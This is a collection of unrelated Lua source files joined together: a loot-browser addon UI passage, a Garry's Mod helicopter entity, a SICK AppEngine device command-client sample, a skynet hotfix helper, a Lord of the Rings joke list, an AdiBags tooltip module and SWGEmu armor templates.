DL_adv_frame_search_CUR_INSTANCE:SetText(DL.lang.ShowInstance)
DL_adv_frame_search_CUR_Boss:SetText(DL.lang.ShowBoss)
DL_adv_frame_search_Instance:SetText(DL.lang.InstanceList)
DL_adv_frame_search_Boss:SetText(DL.lang.BossList)
DL_adv_frame_search_Items:SetText(DL.lang.ItemList)
DL_adv_frame_search_Treasure:SetText(DL.lang.TreasureList)
DL_adv_frame_search_ColorhelmetDesc:SetText(TEXT(string.format("SYS_EQWEARPOS_%02i", 0)))
DL_adv_frame_search_ColortorsoDesc:SetText(TEXT(string.format("SYS_EQWEARPOS_%02i", 3)))
DL_adv_frame_search_ColorbeltDesc:SetText(TEXT(string.format("SYS_EQWEARPOS_%02i", 6)))
DL_adv_frame_search_ColorlegDesc:SetText(TEXT(string.format("SYS_EQWEARPOS_%02i", 4)))
DL_adv_frame_search_ColorshoulderDesc:SetText(TEXT(string.format("SYS_EQWEARPOS_%02i", 7)))
DL_adv_frame_search_ColorhandDesc:SetText(TEXT(string.format("SYS_EQWEARPOS_%02i", 1)))
DL_adv_frame_search_ColorfootDesc:SetText(TEXT(string.format("SYS_EQWEARPOS_%02i", 2)))
DL_adv_frame_search_ColorbackDesc:SetText(TEXT(string.format("SYS_EQWEARPOS_%02i", 5)))
DL_adv_frame_search_OPPOSITE_SEX:SetText(DL.lang.OtherSex)
DL_adv_frame_search_SEX:SetText(TEXT("SEX"))
----------------------------
DL_adv_frame_search_Search:SetText(DL.lang.SearchList)
DL_adv_frame_search_search_Edit_layer:SetText(TEXT("C_SEARCH")..":")
DL_adv_frame_search_search_boss_Label:SetText(DL.lang.SearchBoss)
DL_adv_frame_search_search_instance_Label:SetText(DL.lang.SearchInstance)
DL_adv_frame_search_search_item_Label:SetText(DL.lang.SearchItem)
DL_adv_frame_search_search_treasure_Label:SetText(DL.lang.SearchTreasure)
DL_adv_frame_search_search_bossinstance_Label:SetText(DL.lang.BossInstance)
DL_adv_frame_search_search_onlyinstance_Label:SetText(DL.lang.OnlyInstance)
DL_adv_frame_search_search_boss:SetChecked(DL.search.boss)
DL_adv_frame_search_search_instance:SetChecked(DL.search.instance)
DL_adv_frame_search_search_item:SetChecked(DL.search.item)
DL_adv_frame_search_search_treasure:SetChecked(DL.search.treasure)
DL_adv_frame_search_search_bossinstance:SetChecked(DL.search.bossinstance)
DL_adv_frame_search_search_onlyinstance:SetChecked(DL.search.onlyinstance)
-- Plus Frame ---------------------------------------
DL_adv_frame_plus_PLUS_layer:SetText(DL.lang.Itemplus)
DL_adv_frame_plus_TIER_layer:SetText(TEXT("_glossary_00703") .. ":")
DL_adv_frame_plus_DURA_layer:SetText(TEXT("SYS_ITEM_DURABLE"))
DL_adv_frame_plus_DURA_Edit:SetText(120)
DL_adv_frame_plus_RARITY_layer:SetText(DL.lang.Rarity)
DL_adv_frame_plus_STAT1_layer:SetText(string.format(DL.lang.Stat, 1))
DL_adv_frame_plus_STAT2_layer:SetText(string.format(DL.lang.Stat, 2))
DL_adv_frame_plus_STAT3_layer:SetText(string.format(DL.lang.Stat, 3))
DL_adv_frame_plus_STAT4_layer:SetText(string.format(DL.lang.Stat, 4))
DL_adv_frame_plus_STAT5_layer:SetText(string.format(DL.lang.Stat, 5))
DL_adv_frame_plus_STAT6_layer:SetText(string.format(DL.lang.Stat, 6))
DL_adv_frame_plus_RUNE1_layer:SetText(string.format(DL.lang.Rune, 1))
DL_adv_frame_plus_RUNE2_layer:SetText(string.format(DL.lang.Rune, 2))
DL_adv_frame_plus_RUNE3_layer:SetText(string.format(DL.lang.Rune, 3))
DL_adv_frame_plus_RUNE4_layer:SetText(string.format(DL.lang.Rune, 4))
DL_adv_frame_plus_bind_Label:SetText(TEXT("SOULBOUND_SOULBOUND"))
DL_adv_frame_plus_bind.tooltip = TEXT("SOULBOUND_SOULBOUND")
DL_adv_frame_plus_eqbind_Label:SetText(TEXT("SOULBOUND_EQUIP"))
DL_adv_frame_plus_eqbind.tooltip = TEXT("SOULBOUND_EQUIP")
DL_adv_frame_plus_locked_Label:SetText(TEXT("TOOLTIP_LOCKED_ITEM"))
DL_adv_frame_plus_locked.tooltip = TEXT("TOOLTIP_LOCKED_ITEM")
DL_adv_frame_plus_itemprotect_Label:SetText(TEXT("SYS_ITEM_PROTECT"))
DL_adv_frame_plus_itemprotect.tooltip = TEXT("SYS_ITEM_PROTECT")
DL_adv_frame_plus_pkprotect_Label:SetText(TEXT("SYS_PKPROTECT"))
DL_adv_frame_plus_pkprotect.tooltip = TEXT("SYS_PKPROTECT")
DL_adv_frame_plus_suitskillextracted_Label:SetText(TEXT("SYS_SUITSKILL_LOCKED"))
DL_adv_frame_plus_suitskillextracted.tooltip = TEXT("SYS_SUITSKILL_LOCKED")
DL_adv_frame_plus_GO:SetText(DL.lang.StartPlus)
end
function me.SetChangerText()
me.ListSelect = nil
me.ListSelectSearch = nil
me.SetHeaderText()
me.FilterList()
me.ShowHighlight()
end
function me.StartSearchOnClick()
local searchtxt = DL_adv_frame_search_search_Edit_Edit:GetText()
if string.len(string.gsub(searchtxt," ","")) < 5 then
SendWarningMsg(string.format(DL.lang.SearchMinLength, 5))
return
end
DL.search.Search(searchtxt)
DL_main_frameSearch:SetText("")
me.SetListType(3)
me.SetHeaderText()
me.FilterList()
me.ShowHighlight()
me.SetChangerText()
end
-- Model/Colorpicker
local ModelParts = {
--slotid=[slotname, itemid, r, g, b, r, g, b],
[0] = {"helmet", nil, nil, nil, nil, nil, nil, nil},
[1] = {"hand", nil, nil, nil, nil, nil, nil, nil},
[2] = {"foot", nil, nil, nil, nil, nil, nil, nil},
[3] = {"torso", nil, nil, nil, nil, nil, nil, nil},
[4] = {"leg", nil, nil, nil, nil, nil, nil, nil},
[5] = {"back", nil, nil, nil, nil, nil, nil, nil},
[6] = {"belt", nil, nil, nil, nil, nil, nil, nil},
[7] = {"shoulder", nil, nil, nil, nil, nil, nil, nil},
}
function me.ChangeModel(id)
if DL.tbls.items[id] then
if DL.tbls.items[id].pos then
local pos = DL.tbls.items[id].pos
local pos = 0
if ModelParts[pos] then
if id ~= ModelParts[pos][2] then
local part = ModelParts[pos][1]
ModelParts[pos] = {part, id, nil, nil, nil, nil, nil, nil}
_G["DL_adv_frame_search_Color" .. part .. "c1Block"]:SetColor(1, 1, 1)
_G["DL_adv_frame_search_Color" .. part .. "c2Block"]:SetColor(1, 1, 1)
end
end
end
end
end
function me.OnColorClick(this)
if DL_PreviewFrameModel:GetMaterialCount() == 0 then
DL_PreviewFrameModel:SetModel(100001)
end
local slot = this:GetParent():GetID()
local Modelinfo = ModelParts[slot]
local name = TEXT(string.format("SYS_EQWEARPOS_%02i", slot)) .. " - "
local cidx = 3
if this:GetID() == 1 then
name = name .. C_MAIN_COLOR
else
name = name .. C_SUB_COLOR
cidx = 6
end
local oldval = ModelParts[slot]
local info = {
parent = this,
titleText = name,
alphaMode = nil,
r = Modelinfo[cidx] or 1,
g = Modelinfo[cidx + 1] or 1,
b = Modelinfo[cidx + 2] or 1,
callbackFuncUpdate = function ()
local r = ColorPickerFrame.r
local g = ColorPickerFrame.g
local b = ColorPickerFrame.b
if this:GetID() == 1 then
DL_PreviewFrameModel:SetComponentColors(ModelParts[slot][1], r, g, b, Modelinfo[6] or 1, Modelinfo[7] or 1, Modelinfo[8] or 1)
else
DL_PreviewFrameModel:SetComponentColors(ModelParts[slot][1], Modelinfo[3] or 1, Modelinfo[4] or 1, Modelinfo[5] or 1, r, g, b)
end
DL_PreviewFrameModel:Build()
_G[this:GetName() .. "Block"]:SetColor(r, g, b)
end,
callbackFuncOkay = function ()
ModelParts[slot][cidx] = ColorPickerFrame.r
ModelParts[slot][cidx + 1] = ColorPickerFrame.g
ModelParts[slot][cidx + 2] = ColorPickerFrame.b
end,
callbackFuncCancel = function()
ModelParts[slot] = oldval
r = ModelParts[slot][cidx] or 1
g = ModelParts[slot][cidx + 1] or 1
b = ModelParts[slot][cidx + 2] or 1
if ModelParts[slot][2] then
DL_PreviewFrameModel:SetItemLink(string.format("|Hitem:%x|h|h", ModelParts[slot][2]))
end
DL_PreviewFrameModel:SetComponentColors(ModelParts[slot][1], ModelParts[slot][3] or 1, ModelParts[slot][4] or 1, ModelParts[slot][5] or 1,
ModelParts[slot][6] or 1, ModelParts[slot][7] or 1, ModelParts[slot][8] or 1)
DL_PreviewFrameModel:Build()
_G[this:GetName() .. "Block"]:SetColor(r, g, b)
end,
}
ColorPickerFrame:ClearAllAnchors()
ColorPickerFrame:SetAnchor("LEFT", "RIGHT", this:GetName(), 20, 0)
OpenColorPickerFrameEx( info )
end
DL.ui = me
|
ENT.Base = "wac_hc_base"
ENT.Type = "anim"
ENT.Author = wac.author
ENT.Category = wac.aircraft.spawnCategory
ENT.Spawnable = true
ENT.AdminSpawnable = true
ENT.PrintName = "Black Hawk UH-60"
ENT.Model = "models/bf2/helicopters/uh-60 blackhawk/uh60_b.mdl"
ENT.TopRotor = {
dir = -1,
pos = Vector(0, 0, 100),
model = "models/bf2/helicopters/uh-60 blackhawk/uh60_r.mdl",
}
ENT.BackRotor = {
pos = Vector(-400,17,134),
model = "models/bf2/helicopters/uh-60 blackhawk/uh60_rr.mdl",
angles = Angle(0, 0, 192)
}
ENT.SmokePos = Vector(-80,40,90)--{Vector(-80,40,90), Vector(-80,-40,90)}
ENT.FirePos = Vector(-25,0,130)
ENT.Seats = {
{
pos = Vector(110,-31,30),
exit = Vector(140,-100,3),
NoHud = true,
},
{
pos = Vector(110,31,30),
exit = Vector(140,100,3),
NoHud = true,
},
{
pos = Vector(65,-24,33),
ang = Angle(0,-90,0),
exit = Vector(33,-100,3),
NoHud = true,
},
{
pos = Vector(65,24,33),
ang = Angle(0,90,0),
exit = Vector(33,101.04,3),
NoHud=true,
},
{
pos = Vector(34.5,34,33),
ang= Angle(0,180,0),
exit = Vector(33,100,3),
NoHud=true,
},
{
pos = Vector(-48,34,33),
exit = Vector(-20,100,3),
NoHud = true,
},
{
pos = Vector(-48,-34,33),
exit = Vector(-20,-100,3),
NoHud = true,
},
}
ENT.Sounds = {
Start = "WAC/Heli/h6_start.wav",
Blades = "WAC/Heli/uh60_loop.wav",
Engine = "",
MissileAlert = "HelicopterVehicle/MissileNearby.mp3",
MissileShoot = "HelicopterVehicle/MissileShoot.mp3",
MinorAlarm = "HelicopterVehicle/MinorAlarm.mp3",
LowHealth = "HelicopterVehicle/LowHealth.mp3",
CrashAlarm = "HelicopterVehicle/CrashAlarm.mp3",
Radio = "HelicopterVehicle/MissileNearby.mp3",
}
|
--[[----------------------------------------------------------------------------
Application Name: CommandClient
Description:
TCPIP-Client connection and Command.Client creation using SOPAS ET project.
This samples creates a TCPIPClient connection to the local address of the device
itself ("127.0.0.1") and create a Command.Client on the connection using a
SOPAS ET project ("AppEngine.sopas") of the own device as description.
After open the device ident variable of the connected device is read and printed
to the console. Then a login to device is done and the variable location name is
written. All parameters of the device are backed up then into the file "private/backup.sopas"
The location name is changed again and the variables are restored from the
stored "private/backup.sopas" file. After the restore the location name variable
is checked that it is overwritten again by the restore.
At the end a logout is done on the device.
This sample can be run with the emulator. The console is printing the actions
and a "successfully finished" at the end.
A file is created in the private AppData folder (refresh). This "backup.sopas" file
can be downloaded (e.g. drag and drop from the AppData tab) and opened in SOPAS ET.
------------------------------------------------------------------------------]]
--Start of Global Scope---------------------------------------------------------
-- Create and configure the connection
local conHandle = TCPIPClient.create()
TCPIPClient.setIPAddress(conHandle, '127.0.0.1') -- Connect to own AppEngine process
TCPIPClient.setPort(conHandle, 2111)
TCPIPClient.connect(conHandle, 5000) -- wait 5 seconds for connected
assert(TCPIPClient.isConnected(conHandle)) -- connection handling has to be done by the user of the Command.Client
-- Create, configure and open the client
local handle = Command.Client.create()
Command.Client.setDescriptionFile(handle, 'resources/AppEngine.sopas')
Command.Client.setConnection(handle, conHandle)
Command.Client.setProtocol(handle, 'COLA_A')
assert(Command.Client.open(handle))
-- Now the ".sopas"-file is loaded and the client is registered at the connection and can be used
-- read the DeviceIdent from the device and print the name and version
print("Reading variable 'DeviceIdent'")
local paramNode = Command.Client.read(handle, 'DeviceIdent')
if paramNode then
local devName = Parameters.Node.get(paramNode, 'Name')
print('Device name is: ' .. devName)
local devVersion = Parameters.Node.get(paramNode, 'Version')
print('Device version is: ' .. devVersion)
else
print('error')
end
-- Login to device to write a variable and make restore possible
print("Login with level 'Authorized Client'")
local node = Command.Client.createNode(handle, 'SetAccessMode')
assert(node)
assert(Parameters.Node.set(node, 3, 'NewMode')) -- userlevel "Authorized Client"
assert(Parameters.Node.set(node, 0xF4724744, 'Password')) -- encoded password "client"
local success,
result = Command.Client.invoke(handle, 'SetAccessMode', node)
assert(success and result)
assert(Parameters.Node.get(result, 'success'))
-- Write a variable to the device
print("Writing variable 'LocationName'")
node = Command.Client.createNode(handle, 'LocationName')
assert(node)
assert(Parameters.Node.set(node, 'MyDevice'))
success = Command.Client.write(handle, 'LocationName', node)
assert(success)
-- Backup all parameters to a ".sopas" file which can be opened in SOPAS ET
print('Starting backup')
assert(Command.Client.backup(handle, 'private/backup.sopas'))
-- Write a variable to the device to check restoring
print("Writing variable 'LocationName'")
node = Command.Client.createNode(handle, 'LocationName')
assert(node)
assert(Parameters.Node.set(node, 'MyOtherDevice'))
local bsuccess = Command.Client.write(handle, 'LocationName', node)
assert(bsuccess)
-- Restore parameters back to device (login is needed above so that it works)
print('Restoring parameters to device')
assert(Command.Client.restore(handle, 'private/backup.sopas'))
-- Read location name again, is now back to something other
print("Reading variable 'LocationName'")
node = Command.Client.read(handle, 'LocationName')
assert(node)
local name = Parameters.Node.get(node)
assert(name and name == 'MyDevice') -- "MyOtherDevice" is overwritten by restore
-- Logout clearly from the device
print('Logging out from device')
success = Command.Client.invoke(handle, 'Run')
assert(success)
print('CommandClient sample finished successfully')
--End of Global Scope-----------------------------------------------------------
|
-- 热更新机制,基于https://github.com/jinq0123/hotfix
--- Hotfix helper which hotfixes modified modules.
-- Using lfs to detect files' modification.
-- 建议:只用在开发环境
local M = { }
local skynet = require("skynet")
local lfs = require("lfs")
local hotfix = require("hotfix.hotfix")
-- Map file path to file time to detect modification.
local path_to_time = { }
-- global_objects which must not hotfix.
local global_objects = {
arg,
assert,
collectgarbage,
coroutine,
debug,
dofile,
error,
getmetatable,
io,
ipairs,
lfs,
load,
loadfile,
math,
next,
os,
package,
pairs,
pcall,
print,
rawequal,
rawget,
rawlen,
rawset,
require,
select,
setmetatable,
string,
table,
tonumber,
tostring,
type,
utf8,
xpcall,
skynet, -- skynet 模块不能够热更
}
--- Check modules and hotfix.
function M.check()
local MOD_NAME = "bw.hotfix.hotfix_module_names"
if not package.searchpath(MOD_NAME, package.path) then return end
-- package.loaded[MOD_NAME] = nil -- always reload it
local module_names = require(MOD_NAME)
for _, module_name in pairs(module_names) do
local path, err = package.searchpath(module_name, package.path)
-- Skip non-exist module.
if not path then
skynet.error(string.format("No such module: %s. %s", module_name, err))
goto continue
end
local file_time = lfs.attributes (path, "modification")
if file_time == path_to_time[path] then goto continue end
skynet.error(string.format("Hot fix module %s (%s)", module_name, path))
path_to_time[path] = file_time
hotfix.hotfix_module(module_name)
::continue::
end -- for
end -- check()
function M.init()
hotfix.log_debug = function(s) skynet.error(s) end
hotfix.add_protect(global_objects)
end
return M
|
-- * _JOKER_VERSION: 0.0.1 ** Please do not modify this line.
--[[----------------------------------------------------------
Joker - Jokes, Riddles, Fun Facts, & Other Tomfoolery
----------------------------------------------------------
*
* ADDING YOUR OWN JOKES:
* Be aware that modifying this file incorrectly could break Joker,
* so for normal users I recommend just compiling your jokes in the
* '_MyCustomJokes.lua' file instead.
*
* COMPILATION: LotR-related jokes
*
* SOURCES:
* Reddit Search,
* Google Search
*
]]--
JokerData = JokerData or {}
JokerData.Config = JokerData.Config or {}
JokerData.Config.LordOfTheRings = {
command = "lotr",
disable = false,
joke = true,
label = "Lord of the Rings",
nsfw = false,
whitelistSlashCommand = true
}
JokerData.LordOfTheRings = {
"Why don't you ask a hobbit for money? Because they're always a little short.",
"What do you call a hobbit that eats junk food? Lord of the Onion Rings",
"Why are most hobbits good guys? Because they don't look down on people.",
"What do you call a movie about a gangster hobbit? Yolo Swaggins and the Fellowship of the Bling.",
"What do they call Gandalf at the local tavern? The White Whizzer",
"Why did the hobbit go to McDonald's? To get a second breakfast.",
"My teacher's name is Gandalf - needless to say, he didn't let me pass.",
"I would make another Lord of the Rings joke, but all the good ones Aragorn.",
"Yo momma's so old she knew Gandalf before he had a beard.",
"Why the the dwarves leave Erebor in Middle-Earth? They didn't like the polution - there was to much Smaug!",
"Why is it so hard to attack Barad-dûr? Because no matter how many you open, there are always Mordors.",
"Why are Hobbit doors round? Well, if you ate seven meals a day, you'd need round doors, too!",
"How did the trolls find Gimli's father at night? He was Glóin in the dark!",
"Call the Nazgûl 'black riders' bothers me - that's so wraith-ist!",
"Who was the most volatile actor in LotR? Orlando Boom!",
"Where do Hobbits ride horses? At the Frodeo!",
"How many times do you have to phone Sauron? Once - it only takes One Ring!",
"What if all the weapons in LoTR were replaced with pool noodles? YOU SHALL NOT SPLASH!",
"Smaug represents everything I want in a romantic interest: 1) Money, 2) Dragon.",
"What did the drunken hobbit say when he bumped into the wizard? Saruman, I didn't see you there!",
"How many quarters does it take to play the new Lord of the Rings pinball game? None - it only accepts Tolkiens.",
"What is Gollum's favorite bird? A Smea-gull!",
"What did elves often dance with the trees? They find it Ent-tertaining.",
"What do you call a dark lord that works at KFC? Lord of the Wings",
"What do you call the wraith king? A ring leader!",
"What did Borimir say to the Rolling Stones? 'Have you not heard? One does not simply rock into Mordor!'",
"Why do they keep coming out with more LotR movies? Becaue the fans won't stop Baggins for it.",
"What is the difference between Sauron and The Easter Bunny? Nobody knows, no one has seen either one.",
"What did the Hobbits scream as they were riding the Ents into battle against Isengard? 'Run, Forest, Run!'",
"According to 'The Hobbit', Gollum was once a normal man. The biggest mistake he made was putting on that ring, which drained him of his youth, vitality, and energy. I got one of those when I was married.",
"Why couldn't the hobbit go into the bathroom? It was orcuppied.",
"Why did the hobbit set his cell phone to vibrate? He was afraid the ring would give him away.",
"Just bought the extended version of The Hobbit. Bilbo is 7'6\" now.",
"Two Elves walk into a bar. The hobbit laughs and walks under it.",
"I feel like three movies is a bit much for The Hobbit - seems like they're really dragon it out.",
"Why did the hobbit fall? He had a Frodoian slip.",
"I was once obsessed with LotR: the books, the movies, the collectables - everything. Thank god, recently I was finally able to kick the hobbit.",
"What natural process do all plants in Middle-Earth rely on to survive? Frodo-synthesis.",
"What musical spin-off of LotR can we most expect next from Disney? Merry Pippins",
"If all the problems in LotR come from Sauron, why not just flick the light switch and turn Saur off?",
"On a scale of 1 to Lord of the Rings, how much did you walk today?"
}
|
--[[
AdiBags - Adirelle's bag addon.
Copyright 2010-2014 Adirelle (adirelle@gmail.com)
All rights reserved.
This file is part of AdiBags.
AdiBags is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
AdiBags is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with AdiBags. If not, see <http://www.gnu.org/licenses/>.
--]]
local addonName, addon = ...
local L = addon.L
--<GLOBALS
local _G = _G
local format = _G.format
local GameTooltip = _G.GameTooltip
local IsAltKeyDown = _G.IsAltKeyDown
local IsControlKeyDown = _G.IsControlKeyDown
local IsModifierKeyDown = _G.IsModifierKeyDown
local IsShiftKeyDown = _G.IsShiftKeyDown
local pairs = _G.pairs
local setmetatable = _G.setmetatable
local tconcat = _G.table.concat
local tinsert = _G.tinsert
local tsort = _G.table.sort
local wipe = _G.wipe
--GLOBALS>
local mod = addon:NewModule('TooltipInfo', 'ABEvent-1.0', 'AceHook-3.0')
mod.uiName = L['Tooltip information']
mod.uiDesc = L['Add more information in tooltips related to items in your bags.']
function mod:OnInitialize()
self.db = addon.db:RegisterNamespace(self.name, {profile={
item = 'any',
container = 'any',
filter = 'any',
}})
end
function mod:OnEnable()
if not self.hooked then
GameTooltip:HookScript('OnTooltipSetItem', function(...)
if self:IsEnabled() then
return self:OnTooltipSetItem(...)
end
end)
self.hooked = true
end
end
function mod:GetOptions()
local modMeta = { __index = {
type = "select",
width = "double",
values = {
never = L["Never"],
shift = L["When shift is held down"],
ctrl = L["When ctrl is held down"],
alt = L["When alt is held down"],
any = L["When any modifier key is held down"],
always = L["Always"],
},
}}
return {
item = setmetatable({
name = L["Show item information..."],
order = 10,
}, modMeta),
container = setmetatable({
name = L["Show container information..."],
order = 20,
}, modMeta),
filter = setmetatable({
name = L["Show filtering information..."],
order = 30,
}, modMeta),
}, addon:GetOptionHandler(self)
end
local modifierTests = {
never = function() end,
always = function() return true end,
any = IsModifierKeyDown,
shift = IsShiftKeyDown,
ctrl = IsControlKeyDown,
alt = IsAltKeyDown,
}
local function TestModifier(name)
return modifierTests[mod.db.profile[name] or "never"]()
end
local t = {}
local GetBagSlotFromId = addon.GetBagSlotFromId
function mod:OnTooltipSetItem(tt)
local button = tt:GetOwner()
if not button then return end
local bag, slot, container = button.bag, button.slot, button.container
if not (bag and slot and container) then return end
local slotData = container.content[bag][slot]
local stack = button:GetStack()
if stack then
button = stack
end
local numLines = tt:NumLines()
if slotData.link and TestModifier("item") then
tt:AddLine(" ")
tt:AddLine(L["Item information"], 1, 1, 1)
tt:AddDoubleLine(L["Maximum stack size"], slotData.maxStack)
tt:AddDoubleLine(L["AH category"], slotData.class)
tt:AddDoubleLine(L["AH subcategory"], slotData.subclass)
end
if TestModifier("container") then
tt:AddLine(" ")
tt:AddLine(L["Container information"], 1, 1, 1)
local vBag, vSlot = bag, slot
if stack then
wipe(t)
for slotId in pairs(stack.slots) do
tinsert(t, format("(%d,%d)", GetBagSlotFromId(slotId)))
end
if #t > 1 then
tsort(t)
tt:AddDoubleLine(L["Virtual stack slots"], tconcat(t, ", "))
vBag, vSlot = nil, nil
end
end
if vBag and vSlot then
tt:AddDoubleLine(L["Bag number"], vBag)
tt:AddDoubleLine(L["Slot number"], vSlot)
end
end
if TestModifier("filter") then
tt:AddLine(" ")
tt:AddLine(L["Filtering information"], 1, 1, 1)
tt:AddDoubleLine(L["Filter"], button.filterName or "-")
local section = button:GetSection()
tt:AddDoubleLine(L["Section"], section.name or "-")
tt:AddDoubleLine(L["Category"], section.category or "-")
end
if tt:NumLines() > numLines then
tt:Show()
end
end
|
--Copyright (C) 2009 <SWGEmu>
--This File is part of Core3.
--This program is free software; you can redistribute
--it and/or modify it under the terms of the GNU Lesser
--General Public License as published by the Free Software
--Foundation; either version 2 of the License,
--or (at your option) any later version.
--This program is distributed in the hope that it will be useful,
--but WITHOUT ANY WARRANTY; without even the implied warranty of
--MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
--See the GNU Lesser General Public License for
--more details.
--You should have received a copy of the GNU Lesser General
--Public License along with this program; if not, write to
--the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
--Linking Engine3 statically or dynamically with other modules
--is making a combined work based on Engine3.
--Thus, the terms and conditions of the GNU Lesser General Public License
--cover the whole combination.
--In addition, as a special exception, the copyright holders of Engine3
--give you permission to combine Engine3 program with free software
--programs or libraries that are released under the GNU LGPL and with
--code included in the standard release of Core3 under the GNU LGPL
--license (or modified versions of such code, with unchanged license).
--You may copy and distribute such a system following the terms of the
--GNU LGPL for Engine3 and the licenses of the other code concerned,
--provided that you include the source code of that other code when
--and as the GNU LGPL requires distribution of source code.
--Note that people who make modified versions of Engine3 are not obligated
--to grant this special exception for their modified versions;
--it is their choice whether to do so. The GNU Lesser General Public License
--gives permission to release a modified version without this exception;
--this exception also makes it possible to release a modified version
--which carries forward this exception.
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_belt = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_belt.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_belt, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_belt.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_belt_gcw = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_belt_gcw.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_belt_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_belt_gcw.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bicep_l = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bicep_l.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bicep_l, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bicep_l.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bicep_l_gcw = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bicep_l_gcw.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bicep_l_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bicep_l_gcw.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bicep_r = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bicep_r.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bicep_r, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bicep_r.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bicep_r_gcw = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bicep_r_gcw.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bicep_r_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bicep_r_gcw.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_boots = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_boots.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_boots, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_boots.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_boots_gcw = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_boots_gcw.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_boots_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_boots_gcw.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bracer_l = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bracer_l.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bracer_l, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bracer_l.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bracer_l_gcw = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bracer_l_gcw.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bracer_l_gcw, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bracer_l_gcw.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bracer_r = SharedTangibleObjectTemplate:new {
clientTemplateFileName = "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bracer_r.iff"
}
ObjectTemplates:addClientTemplate(object_tangible_wearables_armor_rebel_spec_force_shared_armor_rebel_spec_force_bracer_r, "object/tangible/wearables/armor/rebel_spec_force/shared_armor_rebel_spec_force_bracer_r.iff")
--****************************************************************************************************************************************************************************
--****************************************************************************************************************************************************************************
